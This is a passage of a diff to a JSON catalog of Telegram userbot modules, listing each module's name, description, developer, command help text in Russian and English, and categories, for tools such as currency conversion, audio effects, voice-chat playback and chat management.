'сообщение, время как {time}'", - "en_doc": null, - "doc": "Automatically changes your Telegram name with current time, usage:\n.autoname '<message, time as {time}>'" - } - }, - { - "stopautoname": { - "ru_doc": "Что-бы остановить время в имени учетной записи введи .stopautoname", - "en_doc": null, - "doc": "just write .stopautoname" - } - }, - { - "aguide": { - "ru_doc": null, - "en_doc": null, - "doc": "Just guide ru/en" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "AmoreForever/amoremods/searchpic.py": { - "name": "SearchPic", - "description": null, - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/AmoreForever/assets/master/Searchpic.jpg", - "developer": "@amoremods" - }, - "commands": [ - { - "spiccmd": "Search picture" - } - ], - "new_commands": [ - { - "spic": { - "ru_doc": null, - "en_doc": null, - "doc": "Search picture" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "AmoreForever/amoremods/phsticker.py": { - "name": "PhLogo", - "description": "Make Pornhub logo sticker", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/AmoreForever/assets/master/phstiker.jpg", - "developer": "@hikamorumods" - }, - "commands": [ - { - "phl": "Makes PHub style logo sticker." - } - ], - "new_commands": [ - { - "phl": { - "ru_doc": null, - "en_doc": null, - "doc": "Makes PHub style logo sticker." - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "AmoreForever/amoremods/universaltime.py": { - "name": "UniversalTimeMod", - "description": "See the time of other countries", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/AmoreForever/assets/master/Universaltime.jpg", - "developer": "@amoremods" - }, - "commands": [ - { - "atimecmd": "See time" - }, - { - "atimeicmd": "See time on inline mode" - } - ], - "new_commands": [ - { - "atime": { - "ru_doc": null, - "en_doc": null, - "doc": "See time" - } - }, - { - "atimei": { - "ru_doc": null, - "en_doc": null, - "doc": "See time on inline mode" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "AmoreForever/amoremods/usernamestealer.py": { - "name": "UserStealer", - "description": "Username tracking module.", - "meta": { - "pic": null, - "banner": null, - "developer": "@hikamorumods" - }, - "commands": [ - { - "ucheckcmd": "> Enter the user for check (without @)" - }, - { - "myus": "> Check status of the user being tracked" - } - ], - "new_commands": [ - { - "ucheck": { - "ru_doc": null, - "en_doc": null, - "doc": "> Enter the user for check (without @)" - } - }, - { - "myus": { - "ru_doc": null, - "en_doc": null, - "doc": "> Check status of the user being tracked" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "AmoreForever/amoremods/jutsu.py": { - "name": "Jutsu", - "description": "Download and get info about anime from jut.su", - "meta": { - "pic": null, - "banner": null, - "developer": "@hikamorumods" - }, - "commands": [ - { - "jutsud": "Download anime from jutsu - [url]" - } - ], - "new_commands": [ - { - "jutsud": { - "ru_doc": null, - "en_doc": null, - "doc": "Download anime from jutsu - [url]" - } - } - ], - "category": [ - "Media", - "Tools" - ] - }, - "AmoreForever/amoremods/dtwr.py": { - "name": "DTWRMod", - "description": "Module Don't tag wihout reason", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/AmoreForever/assets/master/DTWR.jpg", - "developer": "@hikamorumods" - }, - "commands": [ - { - "cfgdtwrcmd": "This module config" - } - ], - "new_commands": [ - { - "cfgdtwr": { - "ru_doc": null, - "en_doc": null, - "doc": "This module config" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "AmoreForever/amoremods/abstract.py": { - "name": "AbstractMod", - "description": "Write a beautiful summary on a notebook", - "meta": { - "pic": "https://te.legra.ph/file/868a280910e7f61f6ab0e.png", - "banner": "https://raw.githubusercontent.com/AmoreForever/assets/master/Abstract.jpg", - "developer": "@hikamorumods" - }, - "commands": [ - { - "konspcmd": "<text> - Create summary <текст> - Создать конспект" - } - ], - "new_commands": [ - { - "konsp": { - "ru_doc": "<текст> - Создать конспект", - "en_doc": null, - "doc": "<text> - Create summary" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "AmoreForever/amoremods/amoreinfo.py": { - "name": "AmoreindoMod", - "description": "Show userbot info", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/AmoreForever/assets/master/AmoreInfo.jpg", - "developer": "@hikamorumods" - }, - "commands": [ - { - "ainfocmd": "Send userbot info" - } - ], - "new_commands": [ - { - "ainfo": { - "ru_doc": null, - "en_doc": null, - "doc": "Send userbot info" - } - } - ], - "category": [ - "Tools", - "Admin" - ] - }, - "AmoreForever/amoremods/mydiary.py": { - "name": "PagesMod", - "description": "Diary page", - "meta": { - "pic": "https://te.legra.ph/file/4c1b4581de961df145a70.png", - "banner": "https://raw.githubusercontent.com/AmoreForever/assets/master/Mydiary.jpg", - "developer": "@hikamoru & @wilsonmods" - }, - "commands": [ - { - "cfdiarycmd": "> Set up buttons for the module" - }, - { - "mydiarycmd": "> Main the diary section" - } - ], - "new_commands": [ - { - "cfdiary": { - "ru_doc": null, - "en_doc": null, - "doc": "> Set up buttons for the module" - } - }, - { - "mydiary": { - "ru_doc": null, - "en_doc": null, - "doc": "> Main the diary section" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "AmoreForever/amoremods/aeconv.py": { - "name": "Aeconv", - "description": "Easy and fast valute converter", - "meta": { - "pic": "https://cdn-icons-png.flaticon.com/512/5670/5670084.png", - "banner": "https://github.com/AmoreForever/assets/blob/master/Aeconv.jpg?raw=true", - "developer": "@hikamorumods" - }, - "commands": [ - { - "conv": "<amount> [currency] should be separated by space <количество> [валюта] должны быть разделены пробелом" - }, - { - "controlvalute": "[currency] | without arguments will show list of currencies for enable/disable [валюта] | без аргументов покажет список валют для включения/выключения" - } - ], - "new_commands": [ - { - "conv": { - "ru_doc": "<количество> [валюта] должны быть разделены пробелом", - "en_doc": null, - "doc": "<amount> [currency] should be separated by space" - } - }, - { - "controlvalute": { - "ru_doc": "[валюта] | без аргументов покажет список валют для включения/выключения", - "en_doc": null, - "doc": "[currency] | without arguments will show list of currencies for enable/disable" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "AmoreForever/amoremods/poststealer.py": { - "name": "PostStealer", - "description": "Steal post from another channel to your channel", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/AmoreForever/assets/master/poststeal.jpg", - "developer": "@hikamorumods" - }, - "commands": [ - { - "smode": "- off/on steal mode" - } - ], - "new_commands": [ - { - "smode": { - "ru_doc": null, - "en_doc": null, - "doc": "- off/on steal mode" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "AmoreForever/amoremods/imgbb.py": { - "name": "ImgbbUploader", - "description": "Upload you photo/video/gif to https://ibb.co", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/AmoreForever/assets/master/Imgbb.jpg", - "developer": "@amoremods" - }, - "commands": [ - { - "imgbbcmd": "imgbb uploader" - } - ], - "new_commands": [ - { - "imgbb": { - "ru_doc": null, - "en_doc": null, - "doc": "imgbb uploader" - } - } - ], - "category": [ - "Media", - "Tools" - ] - }, - "AmoreForever/amoremods/createlinks.py": { - "name": "AmorelinksMod", - "description": "Create links", - "meta": { - "pic": "https://te.legra.ph/file/388e1b26a46a8c439e479.png", - "banner": "https://raw.githubusercontent.com/AmoreForever/assets/master/Createlinks.jpg", - "developer": "@hikamorumods" - }, - "commands": [ - { - "ytcmd": "<text> create YouTube link" - }, - { - "gugcmd": "<text> create Google link" - }, - { - "ghcmd": "<text> create Github link" - }, - { - "phcmd": "<text> create PornHub link" - }, - { - "tgcmd": "<text> create Telegram link" - }, - { - "pdacmd": "<text> create 4pda link" - } - ], - "new_commands": [ - { - "yt": { - "ru_doc": null, - "en_doc": null, - "doc": "<text> create YouTube link" - } - }, - { - "gug": { - "ru_doc": null, - "en_doc": null, - "doc": "<text> create Google link" - } - }, - { - "gh": { - "ru_doc": null, - "en_doc": null, - "doc": "<text> create Github link" - } - }, - { - "ph": { - "ru_doc": null, - "en_doc": null, - "doc": "<text> create PornHub link" - } - }, - { - "tg": { - "ru_doc": null, - "en_doc": null, - "doc": "<text> create Telegram link" - } - }, - { - "pda": { - "ru_doc": null, - "en_doc": null, - "doc": "<text> create 4pda link" + "doc": "Reply to text or write text" } } ], @@ -26887,84 +40859,24 @@ "Networking" ] }, - "SekaiYoneya/Friendly-telegram/SpamBot.py": { - "name": "SpamBotMod", - "description": "Показывает ваши ограничения.", + "Yahikoro/Modules-for-FTG/Valute.py": { + "name": "ValuteMod", + "description": "Конвертер Валют", "meta": { "pic": null, "banner": null }, "commands": [ { - "spambotcmd": "Смотреть статус ограничений." - }, - { - "thankbotcmd": "Написать 'хорошо, спасибо', когда есть инлайн." - }, - { - "okbotcmd": "Написать 'Ок', когда есть инлайн." - }, - { - "whatbotcmd": "Спросить, почему на Вас могли жаловаться, когда есть инлайн." - }, - { - "plsbotcmd": "Попросить снять Вам ограничения, когда есть инлайн." - }, - { - "ponspsbotcmd": "Написать 'Понятно, спасибо', когда есть инлайн." - }, - { - "infobotcmd": "Узнать больше о спаме, когда есть инлайн." + "valcmd": ".val + количество + валюта" } ], "new_commands": [ { - "spambot": { + "val": { "ru_doc": null, "en_doc": null, - "doc": "Смотреть статус ограничений." - } - }, - { - "thankbot": { - "ru_doc": null, - "en_doc": null, - "doc": "Написать 'хорошо, спасибо', когда есть инлайн." - } - }, - { - "okbot": { - "ru_doc": null, - "en_doc": null, - "doc": "Написать 'Ок', когда есть инлайн." - } - }, - { - "whatbot": { - "ru_doc": null, - "en_doc": null, - "doc": "Спросить, почему на Вас могли жаловаться, когда есть инлайн." - } - }, - { - "plsbot": { - "ru_doc": null, - "en_doc": null, - "doc": "Попросить снять Вам ограничения, когда есть инлайн." - } - }, - { - "ponspsbot": { - "ru_doc": null, - "en_doc": null, - "doc": "Написать 'Понятно, спасибо', когда есть инлайн." - } - }, - { - "infobot": { - "ru_doc": null, - "en_doc": null, - "doc": "Узнать больше о спаме, когда есть инлайн." + "doc": ".val + количество + валюта" } } ], @@ -26973,24 +40885,24 @@ "Chat" ] }, - "SekaiYoneya/Friendly-telegram/GroupCreator.py": { - "name": "GroupCreatorMod", - "description": "Создать чат или канал.", + "Yahikoro/Modules-for-FTG/Cycles.py": { + "name": "CirclesMod", + "description": "округляет всё", "meta": { "pic": null, "banner": null }, "commands": [ { - "createcmd": "Используй .create <g|s|c> <название>, чтобы создать группу, супергруппу или канал." + "roundcmd": ".round <Reply to image/sticker or video/gif>" } ], "new_commands": [ { - "create": { + "round": { "ru_doc": null, "en_doc": null, - "doc": "Используй .create <g|s|c> <название>, чтобы создать группу, супергруппу или канал." + "doc": ".round <Reply to image/sticker or video/gif>" } } ], @@ -26999,497 +40911,33 @@ "Chat" ] }, - "SekaiYoneya/Friendly-telegram/ChatStats.py": { - "name": "ChatStatisticMod", - "description": "Статистика чата", + "Yahikoro/Modules-for-FTG/GitUploader.py": { + "name": "GitaddMod", + "description": "Загружает файлы на репозиторий GitHub", "meta": { "pic": null, "banner": null }, "commands": [ { - "statacmd": "" + "gitaddcmd": "" } ], "new_commands": [ { - "stata": { + "gitadd": { "ru_doc": null, "en_doc": null, "doc": null } } ], - "category": [ - "Tools", - "Fun" - ] - }, - "SekaiYoneya/Friendly-telegram/Quotes.py": { - "name": "QuotesMod", - "description": "Quotes a message", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "mquotecmd": "" - }, - { - "quotecmd": ".quote <reply> - quote a message" - }, - { - "fquotecmd": ".fquote @<username> <text> or <reply> <text> - fake quote" - } - ], - "new_commands": [ - { - "mquote": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - }, - { - "quote": { - "ru_doc": null, - "en_doc": null, - "doc": ".quote <reply> - quote a message" - } - }, - { - "fquote": { - "ru_doc": null, - "en_doc": null, - "doc": ".fquote @<username> <text> or <reply> <text> - fake quote" - } - } - ], "category": [ "Tools", "Chat" ] }, - "SekaiYoneya/Friendly-telegram/x0-Uploader.py": { - "name": "x0Mod", - "description": "Uploader", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "x0cmd": "" - } - ], - "new_commands": [ - { - "x0": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "SekaiYoneya/Friendly-telegram/AudioConverter.py": { - "name": "AudioConverterMod", - "description": "Конвертирование в разные форматы", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "tovoicecmd": ".tovoice <reply to audio> \nСконвертировать аудио в войс " - }, - { - "toformatcmd": ".toformat [format] <reply to audio> \n   Сконвертировать аудио/видео/войс в нужный формат \nПоддерживаются mp3, m4a, ogg, mpeg, wav, oga " - } - ], - "new_commands": [ - { - "tovoice": { - "ru_doc": null, - "en_doc": null, - "doc": ".tovoice <reply to audio> \nСконвертировать аудио в войс " - } - }, - { - "toformat": { - "ru_doc": null, - "en_doc": null, - "doc": ".toformat [format] <reply to audio> \n   Сконвертировать аудио/видео/войс в нужный формат \nПоддерживаются mp3, m4a, ogg, mpeg, wav, oga " - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "SekaiYoneya/Friendly-telegram/AudioEditor.py": { - "name": "AudioEditorMod", - "description": "Модуль для работы со звуком(???)", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "basscmd": ".bass [уровень bass'а 2-100 (Default 2)] <reply to audio>\nBassBoost" - }, - { - "fvcmd": ".fv [уровень шакала 2-100 (Default 25)] <reply to audio>\nШакалинг" - }, - { - "echoscmd": ".echos <reply to audio>\nЭхо эффект" - }, - { - "volupcmd": ".volup <reply to audio>\nУвеличить громкость на 10dB" - }, - { - "voldwcmd": ".voldw <reply to audio>\nУменьшить громкость на 10dB" - }, - { - "revscmd": ".revs <reply to audio>\nРазвернуть аудио" - }, - { - "repscmd": ".reps <reply to audio>\nПовторить аудио 2 раза подряд" - }, - { - "slowscmd": ".slows <reply to audio>\nЗамедлить аудио 0.5x" - }, - { - "fastscmd": ".fasts <reply to audio>\nУскорить аудио 1.5x" - }, - { - "rightscmd": ".rights <reply to audio>\nВесь звук в правый канал" - }, - { - "leftscmd": ".lefts <reply to audio>\nВесь звук в левый канал" - }, - { - "normscmd": ".norms <reply to audio>\nНормализовать звук (Из тихого - нормальный)" - }, - { - "byrobertscmd": ".byroberts <reply to audio>\nДобавить в конец аудио \"Directed by Robert B Weide\"" - } - ], - "new_commands": [ - { - "bass": { - "ru_doc": null, - "en_doc": null, - "doc": ".bass [уровень bass'а 2-100 (Default 2)] <reply to audio>\nBassBoost" - } - }, - { - "fv": { - "ru_doc": null, - "en_doc": null, - "doc": ".fv [уровень шакала 2-100 (Default 25)] <reply to audio>\nШакалинг" - } - }, - { - "echos": { - "ru_doc": null, - "en_doc": null, - "doc": ".echos <reply to audio>\nЭхо эффект" - } - }, - { - "volup": { - "ru_doc": null, - "en_doc": null, - "doc": ".volup <reply to audio>\nУвеличить громкость на 10dB" - } - }, - { - "voldw": { - "ru_doc": null, - "en_doc": null, - "doc": ".voldw <reply to audio>\nУменьшить громкость на 10dB" - } - }, - { - "revs": { - "ru_doc": null, - "en_doc": null, - "doc": ".revs <reply to audio>\nРазвернуть аудио" - } - }, - { - "reps": { - "ru_doc": null, - "en_doc": null, - "doc": ".reps <reply to audio>\nПовторить аудио 2 раза подряд" - } - }, - { - "slows": { - "ru_doc": null, - "en_doc": null, - "doc": ".slows <reply to audio>\nЗамедлить аудио 0.5x" - } - }, - { - "fasts": { - "ru_doc": null, - "en_doc": null, - "doc": ".fasts <reply to audio>\nУскорить аудио 1.5x" - } - }, - { - "rights": { - "ru_doc": null, - "en_doc": null, - "doc": ".rights <reply to audio>\nВесь звук в правый канал" - } - }, - { - "lefts": { - "ru_doc": null, - "en_doc": null, - "doc": ".lefts <reply to audio>\nВесь звук в левый канал" - } - }, - { - "norms": { - "ru_doc": null, - "en_doc": null, - "doc": ".norms <reply to audio>\nНормализовать звук (Из тихого - нормальный)" - } - }, - { - "byroberts": { - "ru_doc": null, - "en_doc": null, - "doc": ".byroberts <reply to audio>\nДобавить в конец аудио \"Directed by Robert B Weide\"" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "SekaiYoneya/Friendly-telegram/Pic.py": { - "name": "PicPhotosMod", - "description": "Фотографии из @pic.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "gowcmd": "" - } - ], - "new_commands": [ - { - "gow": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "SekaiYoneya/Friendly-telegram/Whois.py": { - "name": "WhoIsMod", - "description": "Получает информацию о пользователе.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "whoiscmd": "Используй .whois <@ или реплай>; ничего" - } - ], - "new_commands": [ - { - "whois": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй .whois <@ или реплай>; ничего" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "SekaiYoneya/Friendly-telegram/SendPhotos.py": { - "name": "GetPPMod", - "description": "Description for module", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "potocmd": "Кинуть фоточки" - } - ], - "new_commands": [ - { - "poto": { - "ru_doc": null, - "en_doc": null, - "doc": "Кинуть фоточки" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "SekaiYoneya/Friendly-telegram/Anti-PM.py": { - "name": "AntiPMMod", - "description": null, - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "pmcmd": "Используй: .pm : чтобы включить/отключить авто ответ на личные сообщения." - }, - { - "allowcmd": "Используй: .allow чтобы разрешить этому пользователю писать вам в личку." - }, - { - "denycmd": "Используй: .deny чтобы запретить этому пользователю писать вам в личку." - }, - { - "allowedcmd": "Используй: .allowed : чтобы посмотреть список пользователей которым вы разрешили писать в личку." - }, - { - "blockcmd": "Используй: .block чтобы заблокировать этого пользователя." - }, - { - "unblockcmd": "Используй: .unblock чтобы разблокировать этого пользователя." - }, - { - "addcontcmd": "Используй: .addcont чтобы добавить пользователя в свои контакты." - }, - { - "delcontcmd": "Используй: .delcont чтобы удалить пользователя из своих контактов." - }, - { - "renamecmd": "" - } - ], - "new_commands": [ - { - "pm": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй: .pm : чтобы включить/отключить авто ответ на личные сообщения." - } - }, - { - "allow": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй: .allow чтобы разрешить этому пользователю писать вам в личку." - } - }, - { - "deny": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй: .deny чтобы запретить этому пользователю писать вам в личку." - } - }, - { - "allowed": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй: .allowed : чтобы посмотреть список пользователей которым вы разрешили писать в личку." - } - }, - { - "block": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй: .block чтобы заблокировать этого пользователя." - } - }, - { - "unblock": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй: .unblock чтобы разблокировать этого пользователя." - } - }, - { - "addcont": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй: .addcont чтобы добавить пользователя в свои контакты." - } - }, - { - "delcont": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй: .delcont чтобы удалить пользователя из своих контактов." - } - }, - { - "rename": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "SekaiYoneya/Friendly-telegram/Pinger.py": { - "name": "PingerMod", - "description": "более точный пинг", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "pingcmd": "пингует" - } - ], - "new_commands": [ - { - "ping": { - "ru_doc": null, - "en_doc": null, - "doc": "пингует" - } - } - ], - "category": [ - "Tools", - "Networking" - ] - }, - "SekaiYoneya/Friendly-telegram/AutoBlackList.py": { + "Yahikoro/Modules-for-FTG/AutoBlackList.py": { "name": "AutoBlackListMod", "description": "Кидает всех неконтактов в ЧС.", "meta": { @@ -27498,7 +40946,7 @@ }, "commands": [ { - "autoblcmd": "Включить/выключить режим" + "autoblcmd": "Включить/выключить режим AutoBlackList" }, { "autoblstatuscmd": "Проверить статус AutoBlackList" @@ -27512,7 +40960,7 @@ "autobl": { "ru_doc": null, "en_doc": null, - "doc": "Включить/выключить режим" + "doc": "Включить/выключить режим AutoBlackList" } }, { @@ -27535,464 +40983,134 @@ "Chat" ] }, - "SekaiYoneya/Friendly-telegram/Online.py": { - "name": "EternalOnlineMod", - "description": "Вечный онлайн, который будет читать сообщения в чатах.", + "Yahikoro/Modules-for-FTG/VMsm.py": { + "name": "VoiceMod", + "description": "Module for working with voicechat\n ", "meta": { "pic": null, "banner": null }, "commands": [ { - "onlinecmd": "Включить вечный онлайн" + "vplaycmd": ".vplay [chat (optional)] <link/reply_to_audio>\nPlay audio in VC" + }, + { + "vjoincmd": ".vjoin\nJoin to the VC" + }, + { + "vleavecmd": ".vleave\nLeave from the VC" + }, + { + "vreplaycmd": ".vreplay\nReplay audio in VC" + }, + { + "vstopcmd": ".vstop\nStop play in VC" + }, + { + "vmutecmd": ".vmute\nMute player in VC" + }, + { + "vunmutecmd": ".vmute\nUnmute player in VC" + }, + { + "vpausecmd": ".vpause\nPause player in VC" + }, + { + "vresumecmd": ".vresume\nResume player in VC" + }, + { + "vdebugcmd": ".vdebug\ndebug" + }, + { + "smcmd": ".sm \nto find music." + }, + { + "shazamcmd": ".shazam <reply to audio> - recognize track" } ], "new_commands": [ { - "online": { + "vplay": { "ru_doc": null, "en_doc": null, - "doc": "Включить вечный онлайн" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "SekaiYoneya/Friendly-telegram/Sender.py": { - "name": "SenderMod", - "description": null, - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "sndcmd": ".snd <канал/чат/id> <reply>\nОтправить сообщение в чат/канал(без авторства)" - } - ], - "new_commands": [ - { - "snd": { - "ru_doc": null, - "en_doc": null, - "doc": ".snd <канал/чат/id> <reply>\nОтправить сообщение в чат/канал(без авторства)" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "SekaiYoneya/Friendly-telegram/Frazes.py": { - "name": "FrazesMod", - "description": "Госу, пикапы, подкаты.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "gosucmd": "Выебать чью-то мамку" - }, - { - "pikapcmd": "Пикап" - }, - { - "podkatcmd": "Подкат" - }, - { - "ayfcmd": "АУФ!!!" - } - ], - "new_commands": [ - { - "gosu": { - "ru_doc": null, - "en_doc": null, - "doc": "Выебать чью-то мамку" + "doc": ".vplay [chat (optional)] <link/reply_to_audio>\nPlay audio in VC" } }, { - "pikap": { + "vjoin": { "ru_doc": null, "en_doc": null, - "doc": "Пикап" + "doc": ".vjoin\nJoin to the VC" } }, { - "podkat": { + "vleave": { "ru_doc": null, "en_doc": null, - "doc": "Подкат" + "doc": ".vleave\nLeave from the VC" } }, { - "ayf": { + "vreplay": { "ru_doc": null, "en_doc": null, - "doc": "АУФ!!!" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "SekaiYoneya/Friendly-telegram/MyRep.py": { - "name": "MyRepMod", - "description": "Модуль с вашей репутацией", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "repcmd": "Включить режим репутаций." - }, - { - "myrepcmd": "Посмотреть свою репутацию. Используй: .myrep clear (очистка репутации)." - } - ], - "new_commands": [ - { - "rep": { - "ru_doc": null, - "en_doc": null, - "doc": "Включить режим репутаций." + "doc": ".vreplay\nReplay audio in VC" } }, { - "myrep": { + "vstop": { "ru_doc": null, "en_doc": null, - "doc": "Посмотреть свою репутацию. Используй: .myrep clear (очистка репутации)." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "SekaiYoneya/Friendly-telegram/kickall-addusers.py": { - "name": "addmembersMod", - "description": null, - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "adduserscmd": "Добавляет людей с чата в чат." - }, - { - "kickallcmd": "Удаляет всех пользователей из чата." - } - ], - "new_commands": [ - { - "addusers": { - "ru_doc": null, - "en_doc": null, - "doc": "Добавляет людей с чата в чат." + "doc": ".vstop\nStop play in VC" } }, { - "kickall": { + "vmute": { "ru_doc": null, "en_doc": null, - "doc": "Удаляет всех пользователей из чата." - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "SekaiYoneya/Friendly-telegram/Leo.py": { - "name": "leomatchMod", - "description": "Леонардо Дайвинчик", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "dizcmd": "Дизлайкнуть пользователь." - }, - { - "likecmd": "Лайкнуть пользователь." - }, - { - "spackcmd": "Не нужен мне ваш стикерпак." - }, - { - "ttcmd": "Не нужен мне ваш тик ток." - }, - { - "unafkcmd": "Выйти из АФК и смотреть анкеты." - } - ], - "new_commands": [ - { - "diz": { - "ru_doc": null, - "en_doc": null, - "doc": "Дизлайкнуть пользователь." + "doc": ".vmute\nMute player in VC" } }, { - "like": { + "vunmute": { "ru_doc": null, "en_doc": null, - "doc": "Лайкнуть пользователь." + "doc": ".vmute\nUnmute player in VC" } }, { - "spack": { + "vpause": { "ru_doc": null, "en_doc": null, - "doc": "Не нужен мне ваш стикерпак." + "doc": ".vpause\nPause player in VC" } }, { - "tt": { + "vresume": { "ru_doc": null, "en_doc": null, - "doc": "Не нужен мне ваш тик ток." + "doc": ".vresume\nResume player in VC" } }, { - "unafk": { + "vdebug": { "ru_doc": null, "en_doc": null, - "doc": "Выйти из АФК и смотреть анкеты." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "SekaiYoneya/Friendly-telegram/ChatModule.py": { - "name": "ChatMod", - "description": "Чат модули", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "useridcmd": "Команда .userid <@ или реплай> показывает ID выбранного пользователя." - }, - { - "chatidcmd": "Команда .chatid показывает ID чата." - }, - { - "invitecmd": "Используйте .invite <@ или реплай>, чтобы добавить пользователя в чат." - }, - { - "leavecmd": "Используйте команду .leave, чтобы выйти из чата." - }, - { - "userscmd": "Команда .users <имя>; ничего выводит список всех пользователей в чате." - }, - { - "adminscmd": "Команда .admins показывает список всех админов в чате." - }, - { - "botscmd": "Команда .bots показывает список всех ботов в чате." - } - ], - "new_commands": [ - { - "userid": { - "ru_doc": null, - "en_doc": null, - "doc": "Команда .userid <@ или реплай> показывает ID выбранного пользователя." + "doc": ".vdebug\ndebug" } }, - { - "chatid": { - "ru_doc": null, - "en_doc": null, - "doc": "Команда .chatid показывает ID чата." - } - }, - { - "invite": { - "ru_doc": null, - "en_doc": null, - "doc": "Используйте .invite <@ или реплай>, чтобы добавить пользователя в чат." - } - }, - { - "leave": { - "ru_doc": null, - "en_doc": null, - "doc": "Используйте команду .leave, чтобы выйти из чата." - } - }, - { - "users": { - "ru_doc": null, - "en_doc": null, - "doc": "Команда .users <имя>; ничего выводит список всех пользователей в чате." - } - }, - { - "admins": { - "ru_doc": null, - "en_doc": null, - "doc": "Команда .admins показывает список всех админов в чате." - } - }, - { - "bots": { - "ru_doc": null, - "en_doc": null, - "doc": "Команда .bots показывает список всех ботов в чате." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "SekaiYoneya/Friendly-telegram/SearchMusic.py": { - "name": "SearchMusicMod", - "description": "Модуль SearchMusic - поиск музыки \nРаботает через бота @lybot ", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "smcmd": "Используй: .sm «название» чтобы найти музыку по названию." - } - ], - "new_commands": [ { "sm": { "ru_doc": null, "en_doc": null, - "doc": "Используй: .sm «название» чтобы найти музыку по названию." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "SekaiYoneya/Friendly-telegram/RenameCont.py": { - "name": "RenameMod", - "description": "Переиминовать или добавить в контакт.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "renamecmd": "" - } - ], - "new_commands": [ - { - "rename": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "SekaiYoneya/Friendly-telegram/BanMedia.py": { - "name": "BanMediaMod", - "description": "Модуль блокировки стикеров или гифок в чатах.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "banmediacmd": "Используй: .banmedia чтобы заблокировать стикер или гифку в чате. | аргументы «clear или clearall» (по желанию)" - } - ], - "new_commands": [ - { - "banmedia": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй: .banmedia чтобы заблокировать стикер или гифку в чате. | аргументы «clear или clearall» (по желанию)" - } - } - ], - "category": [ - "Tools", - "Social" - ] - }, - "SekaiYoneya/Friendly-telegram/WelcomeLeft.py": { - "name": "WelcomeLeftMod", - "description": "Вход и выход пользователей в чате.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "welcomecmd": "Включить/выключить приветствие новых пользователей в чате. Используй: .welcome <clearall (по желанию)>." - }, - { - "setwelcomecmd": "Установить приветствие новых пользователей в чате.\nИспользуй: .setwelcome <текст (можно использовать {name}; {chat})>; ничего." - }, - { - "leftcmd": "Включить/выключить выход пользователей из чата. Используй: .left <clearall (по желанию)>." - }, - { - "setleftcmd": "Установить новое сообщение при выходе из чата пользователей.\nИспользуй: .setleft <текст (можно использовать {name}; {chat})>; ничего." - } - ], - "new_commands": [ - { - "welcome": { - "ru_doc": null, - "en_doc": null, - "doc": "Включить/выключить приветствие новых пользователей в чате. Используй: .welcome <clearall (по желанию)>." + "doc": ".sm \nto find music." } }, { - "setwelcome": { + "shazam": { "ru_doc": null, "en_doc": null, - "doc": "Установить приветствие новых пользователей в чате.\nИспользуй: .setwelcome <текст (можно использовать {name}; {chat})>; ничего." - } - }, - { - "left": { - "ru_doc": null, - "en_doc": null, - "doc": "Включить/выключить выход пользователей из чата. Используй: .left <clearall (по желанию)>." - } - }, - { - "setleft": { - "ru_doc": null, - 